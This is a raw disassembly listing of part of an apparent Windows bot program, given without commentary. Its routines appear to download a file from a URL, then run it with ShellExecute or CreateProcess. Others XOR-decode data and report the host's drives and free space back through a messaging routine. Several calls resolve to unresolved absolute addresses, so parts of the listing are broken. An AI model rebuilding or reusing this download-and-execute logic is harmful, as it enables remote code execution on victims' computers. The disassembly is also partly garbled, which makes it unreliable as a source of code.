		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40CA63
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40CA04
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_4196EF
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_43F664
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		jmp	short loc_40C99C
; ---------------------------------------------------------------------------


loc_40CA04:				; CODE XREF: sub_40C8B4+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_42E108
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40D679
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_4]
		call	sub_417900
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_43F700
		push	[ebp+var_1C]
		call	sub_417076
		pop	ecx
		push	1
		nop
		call	near ptr 25F0962h


loc_40CA63:				; CODE XREF: sub_40C8B4+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset dword_42E28C
		push	eax
		call	sub_4172AE
		add	esp, 14h


loc_40CA93:				; CODE XREF: sub_40C8B4+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_40CAB8
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40D679
		add	esp, 14h


loc_40CAB8:				; CODE XREF: sub_40C8B4+1E2j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40BF6D
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_40CAD3
		push	[ebp+var_4]
		call	sub_417900
		pop	ecx


loc_40CAD3:				; CODE XREF: sub_40C8B4+214j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_40CAE1
		push	[ebp+arg_0]
		call	dword_43F700


loc_40CAE1:				; CODE XREF: sub_40C8B4+222j
		push	[ebp+var_1C]
		call	sub_417076
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0962h
sub_40C8B4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CAF1	proc near		; DATA XREF: sub_40EE72+381Eo
					; sub_40EE72+3F6Do

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_43F618
		call	dword_43F578
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_40CF7D
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		nop
		call	near ptr 2640764h
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_40CBB8
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42E5E4
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CB9B
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h


loc_40CB9B:				; CODE XREF: sub_40CAF1+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_48]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0962h


loc_40CBB8:				; CODE XREF: sub_40CAF1+68j
		xor	edi, edi
		call	near ptr 2600000h
		nop
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_417B89
		pop	ecx
		mov	[ebp+var_1C], eax


loc_40CBD2:				; CODE XREF: sub_40CAF1+1B4j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_43F580
		cmp	[ebp+var_34], esi
		jz	short loc_40CC16
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40CFE3
		pop	ecx
		pop	ecx


loc_40CC16:				; CODE XREF: sub_40CAF1+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		nop
		call	near ptr 2630000h
		cmp	edi, ebx
		jnb	short loc_40CC54
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40CC3E
		mov	eax, [ebp+arg_0]


loc_40CC3E:				; CODE XREF: sub_40CAF1+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_417390
		add	esp, 0Ch


loc_40CC54:				; CODE XREF: sub_40CAF1+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_40CC61
		cmp	edi, [ebp+var_3C]
		ja	short loc_40CCAB


loc_40CC61:				; CODE XREF: sub_40CAF1+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_40CC7B
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E59C
		jmp	short loc_40CC8B
; ---------------------------------------------------------------------------


loc_40CC7B:				; CODE XREF: sub_40CAF1+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E55C


loc_40CC8B:				; CODE XREF: sub_40CAF1+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_444EC0
		push	eax
		call	sub_4172AE
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_40CBD2


loc_40CCAB:				; CODE XREF: sub_40CAF1+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_40CD00
		cmp	edi, [ebp+var_3C]
		jz	short loc_40CD00
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_42E518
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 28h


loc_40CD00:				; CODE XREF: sub_40CAF1+1C4j
					; sub_40CAF1+1C9j
		nop
		call	near ptr 2600000h
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 26217F0h
		push	[ebp+var_1C]
		call	sub_417C3B
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_40CD8A
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40C259
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_40CD8A
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42E4E0
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 28h


loc_40CD8A:				; CODE XREF: sub_40CAF1+241j
					; sub_40CAF1+253j
		cmp	[ebp+var_14], esi
		jz	loc_40CFCA
		cmp	[ebp+var_44], 1
		jz	loc_40CE85
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_424698
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_424698
		fstp	[esp+590h+var_590]
		push	offset unk_42E498
		push	eax
		call	sub_4172AE
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CE05
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h


loc_40CE05:				; CODE XREF: sub_40CAF1+2F2j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_40CFCA
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_43F5DC
		cmp	[ebp+var_30], esi
		jnz	loc_40CFCA
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_42E464
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 24h
		jmp	loc_40CFCA
; ---------------------------------------------------------------------------


loc_40CE85:				; CODE XREF: sub_40CAF1+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_424698
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_424698
		fstp	[esp+590h+var_590]
		push	offset unk_42E414
		push	eax
		call	sub_4172AE
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CEED
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h


loc_40CEED:				; CODE XREF: sub_40CAF1+3DAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset byte_43C80C
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		call	near ptr 2750531h
		nop
		cmp	eax, edi
		jnz	short loc_40CF6F
		call	dword_43F5C8
		call	sub_40AC42
		push	esi
		call	near ptr 77E75CB5h
		nop


loc_40CF6F:				; CODE XREF: sub_40CAF1+46Aj
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_42E3CC
		jmp	short loc_40CF89
; ---------------------------------------------------------------------------


loc_40CF7D:				; CODE XREF: sub_40CAF1+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E390


loc_40CF89:				; CODE XREF: sub_40CAF1+48Aj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CFBD
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h


loc_40CFBD:				; CODE XREF: sub_40CAF1+4AAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_40CFCA:				; CODE XREF: sub_40CAF1+29Cj
					; sub_40CAF1+325j ...
		push	[ebp+var_18]
		call	dword_43F69C
		push	[ebp+var_48]
		call	sub_417076
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0962h
sub_40CAF1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40CFE3	proc near		; CODE XREF: sub_40CAF1+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_40CFFF


loc_40CFEF:				; CODE XREF: sub_40CFE3+1Aj
		mov	dl, byte_42F5C4
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_40CFEF

locret_40CFFF:				; CODE XREF: sub_40CFE3+Aj
		retn
sub_40CFE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D000	proc near		; CODE XREF: sub_40EE72+2A7Ep
					; sub_40EE72+2BA4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4197F9
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40D000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D01A	proc near		; CODE XREF: sub_406387+458p
					; sub_406387+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_443A38
		push	0
		push	edi
		call	sub_417330
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_40D03F:				; CODE XREF: sub_40D01A+5Bj
					; sub_40D01A+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_4191D0
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_419250
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40D07D
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40D03F
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40D03F
; ---------------------------------------------------------------------------


loc_40D07D:				; CODE XREF: sub_40D01A+4Bj
		dec	esi
		mov	eax, edi


loc_40D080:				; CODE XREF: sub_40D01A+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_40D08F
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_40D080
; ---------------------------------------------------------------------------


loc_40D08F:				; CODE XREF: sub_40D01A+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D01A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D099	proc near		; CODE XREF: sub_40D24E+51p
					; sub_40D24E+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43F6C8
		sub	eax, 0
		jz	short loc_40D0DC
		dec	eax
		jz	short loc_40D0D6
		dec	eax
		dec	eax
		jz	short loc_40D0D0
		dec	eax
		jz	short loc_40D0CA
		dec	eax
		jz	short loc_40D0C4
		dec	eax
		jz	short loc_40D0BE
		mov	eax, offset word_42DDD0
		retn
; ---------------------------------------------------------------------------


loc_40D0BE:				; CODE XREF: sub_40D099+1Dj
		mov	eax, offset off_42E644
		retn
; ---------------------------------------------------------------------------


loc_40D0C4:				; CODE XREF: sub_40D099+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_40D0CA:				; CODE XREF: sub_40D099+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_40D0D0:				; CODE XREF: sub_40D099+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_40D0D6:				; CODE XREF: sub_40D099+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_40D0DC:				; CODE XREF: sub_40D099+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_40D099	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D0E2	proc near		; CODE XREF: sub_40D12A+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_43F564
		test	eax, eax
		jz	short loc_40D117
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_40D117:				; CODE XREF: sub_40D0E2+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40D0E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D12A	proc near		; CODE XREF: sub_40B8D8+1F3p
					; sub_40D24E+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40D0E2
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		pop	ebx
		jmp	short loc_40D23A
; ---------------------------------------------------------------------------


loc_40D208:				; CODE XREF: sub_40D12A+2Cj
					; sub_40D12A+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_4172AE
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_4172AE
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_40D23A:				; CODE XREF: sub_40D12A+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40D12A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D24E	proc near		; CODE XREF: sub_40D320+17p
					; sub_40D320+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_40D12A
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_4176D0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40D2C1
		push	ebx
		push	ebx
		call	sub_40D099
		pop	ecx
		push	eax
		push	offset unk_42E6A4
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	short loc_40D2F5
; ---------------------------------------------------------------------------


loc_40D2C1:				; CODE XREF: sub_40D24E+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_40D099
		pop	ecx
		push	eax
		push	offset unk_42E658
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 20h


loc_40D2F5:				; CODE XREF: sub_40D24E+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_40BF6D
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D24E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D320	proc near		; CODE XREF: sub_40EE72+57EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40D341
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D24E
		add	esp, 10h
		jmp	short loc_40D3A2
; ---------------------------------------------------------------------------


loc_40D341:				; CODE XREF: sub_40D320+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_43F5D8
		lea	esi, [eax+2]
		push	esi
		call	sub_417B89
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_43F5D8
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40D399


loc_40D365:				; CODE XREF: sub_40D320+77j
		push	offset aA_0	; "A:\\"
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D388
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D24E
		add	esp, 10h


loc_40D388:				; CODE XREF: sub_40D320+54j
		push	esi
		call	sub_417AB0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_40D365


loc_40D399:				; CODE XREF: sub_40D320+43j
		push	edi
		call	sub_417C3B
		pop	ecx
		pop	edi
		pop	esi


loc_40D3A2:				; CODE XREF: sub_40D320+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40D320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D3A5	proc near		; DATA XREF: ___:0040E6BAo

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_4450CC
		call	dword_43F700
		call	sub_416F23
		call	dword_43F5C8
		call	dword_43F5C8
		mov	ebx, dword_424064
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43C80C
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	near ptr 260090Eh
		nop
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	near ptr 2650000h
		nop
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 2750531h
		nop
		test	eax, eax
		jz	short loc_40D46A
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_424078
		call	esi
		push	[ebp+var_C]
		call	esi


loc_40D46A:				; CODE XREF: sub_40D3A5+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_443A70
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx
sub_40D3A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D48D	proc near		; CODE XREF: sub_40D4C5+125p
					; sub_40D4C5+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_40D4BB


loc_40D49E:				; CODE XREF: sub_40D48D+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4198F0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D4C1
		inc	esi
		cmp	esi, edi
		jl	short loc_40D49E


loc_40D4BB:				; CODE XREF: sub_40D48D+Fj
		xor	al, al


loc_40D4BD:				; CODE XREF: sub_40D48D+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40D4C1:				; CODE XREF: sub_40D48D+27j
		mov	al, 1
		jmp	short loc_40D4BD
sub_40D48D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D4C5	proc near		; CODE XREF: sub_402DD7+8Bp
					; sub_402DD7+174p

